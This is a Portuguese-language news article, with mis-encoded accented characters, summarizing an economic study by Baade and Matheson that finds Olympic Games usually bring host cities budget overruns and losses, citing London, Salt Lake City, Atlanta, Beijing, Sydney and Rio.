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Estudo aponta que OlimpA�ada costuma dar prejuA�zo para sede

Genebra – OrA�amentos estourados, previsA�es de ganho furadas, dA�ficit eA�corrupA�A?o. Nos A?ltimos 30 anos, a organizaA�A?o de Jogos OlA�mpicos deixou para as cidades sedes um legado econA?mico bem diferente das promessas feitas por seus organizadores.

Salvo no caso de Los Angeles, em 1984 e Barcelona, em 1992, todas as demais sedes constataram que os supostos benefA�cios anunciados jamais se concretizaram.

Isso A� o que revela um amplo e detalhado estudo publicado pelos economistas americanos, Robert A. Baade, da Lake Forest College de Illinois, e Victor Matheson, do College of the Holy Cross, de Worcester nos Estados Unidos.

Publicado no Journal of Economic Perspectives da prestigiosa American Economic Association, o levantamento desmistifica os resultados econA?micos do movimento olA�mpico e alerta para a falA?ncia que o modelo representa para quem realiza um evento.

Segundo eles, A� mais fA?cil um atleta ganhar a medalha de ouro na OlimpA�ada que o evento dar lucros para os anfitriA�es.

“A esmagadora conclusA?o A� de que, na maioria dos casos, a OlimpA�ada A� uma proposta que gera perdas para a cidade-sede”, alerta o estudo, apontando que os raros casos de benefA�cios sA?o registrados “sob condiA�A�es muito especA�ficas e incomuns”.

Os economistas tambA�m chegam A� constataA�A?o de que “o custo-benefA�cio A� pior para cidades em paA�ses em desenvolvimento que nos paA�ses do mundo industrializado” e que, da forma que hoje A� conduzida, a “OlimpA�ada nA?o A� economicamente viA?vel para a maioria das cidades”.

Se existem vA?rios motivos para essa constataA�A?o, o estudo indica que os principais fatores sA?o os custos elevados para as instalaA�A�es esportivas, os pagamentos que precisam ser feitos ao COI, uma administraA�A?o de mA? qualidade, corrupA�A?o e as expectativas “irreais” de ganhos futuros.

Se nA?o bastasse, o documento mostra como “de forma consistente”, todas os Jogos superam seus orA�amentos originais. “Entre 1968 e 2012, todos os Jogos terminaram custando mais que originalmente estimado”, alertou.

Em mA�dia, essa inflaA�A?o A� de 150%. Mas, no caso de Montreal em 1976 e Sarajevo, sede dos Jogos de Inverno de 1984, o preA�o final foi dez vezes superior aos planos iniciais.

Mesmo em Londres, em 2012, uma manobra midiA?tica tentou mostrar que o valor ficou abaixo do estimado. Mas abandonando previsA�es feitas durante a candidatura. Em 2005, quando a cidade obteve o direito de sediar o evento, o orA�amento era de 2,4 bilhA�es de libras.

Dois anos depois, uma nova previsA?o apontou para 9,3 bilhA�es de libras. Quando, em 2012, o preA�o total ficou em 8,7 bilhA�es, os organizadores argumentaram que o valor havia ficado abaixo do previsto.

O estudo nA?o cita o Rio de Janeiro. Mas os dados oficiais do evento apontam que a estimativa original de R$ 5,6 bilhA�es para as instalaA�A�es esportivas jA? ficou em R$ 7,5 bilhA�es.

No que se refere ao custo total, incluindo as obras de infraestrutura, elas passaram de R$ 28,8 bilhA�es em 2009 para R$ 39 bilhA�es.

Curto prazo

Um dos argumentos usados para justificar gastos elevados, porA�m, A� o retorno imediato que um evento pode trazer para uma cidade, inclusive para relanA�ar a atividade econA?mica de uma regiA?o desgastada.

Mas, baseado em dados econA?micos das cidades que sediaram os Jogos, os especialistas apontam que “usar a OlimpA�ada para sair da recessA?o seria mais uma aposta de sorte que um planejamento prudente”.

Os exemplos sA?o inA?meros. O governo de Utah, por exemplo, previa gerar 35 mil postos de trabalho para os Jogos de Inverno de 2002, em Salt Lake City. O resultado foi a criaA�A?o de no mA?ximo 7 mil empregos.

“Considerando que o governo federal gastou US$ 342 milhA�es no evento e outros US$ 1,1 bilhA?o para infraestrutura, o custo de cada emprego gerado foi de cerca de US$ 300 mil”, apontam os economistas.

Em 1996, em Atlanta, o levantamento aponta que nA?o houve um impacto real em vendas e nem na ocupaA�A?o de hotA�is. Quanto A� geraA�A?o de postos de trabalho, o impacto foi de apenas 0,2% da taxa de empregos, com 29 mil vagas sendo criadas.

Para o comA�rcio local, os dados tambA�m nA?o apontam para vantagens reais. Segundo os nA?meros oficias das autoridades inglesas, Londres recebeu 6,1 milhA�es de estrangeiros e visitantes entre julho e agosto de 2012, no auge dos Jogos.

O volume, porA�m, foi inferior ao mesmo perA�odo de 2011, quando a cidade recebeu 6,5 milhA�es de pessoas. “Teatros foram obrigados a fechar suas portas durante o evento”, constataram os economistas.

Em Pequim em 2008, o estudo constatou o mesmo fenA?meno. A cidade registrou uma queda de 30% no que se refere aos visitantes internacionais em comparaA�A?o a 2007 e uma ocupaA�A?o dos hotA�is 39% abaixo do ano anterior.

Nas estaA�A�es de esqui de Salt Lake City, a queda de usuA?rios foi de 9,9% em 2002, em comparaA�A?o ao inverno anterior.

Em Sidney, em 2000, os estudos realizados antes dos Jogos indicaram ganhos para o comA�rcio local de US$ 2,5 bilhA�es. ApA?s o evento, o que se registrou foi uma contraA�A?o de US$ 2,1 bilhA�es.

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Redação Brasil (m)

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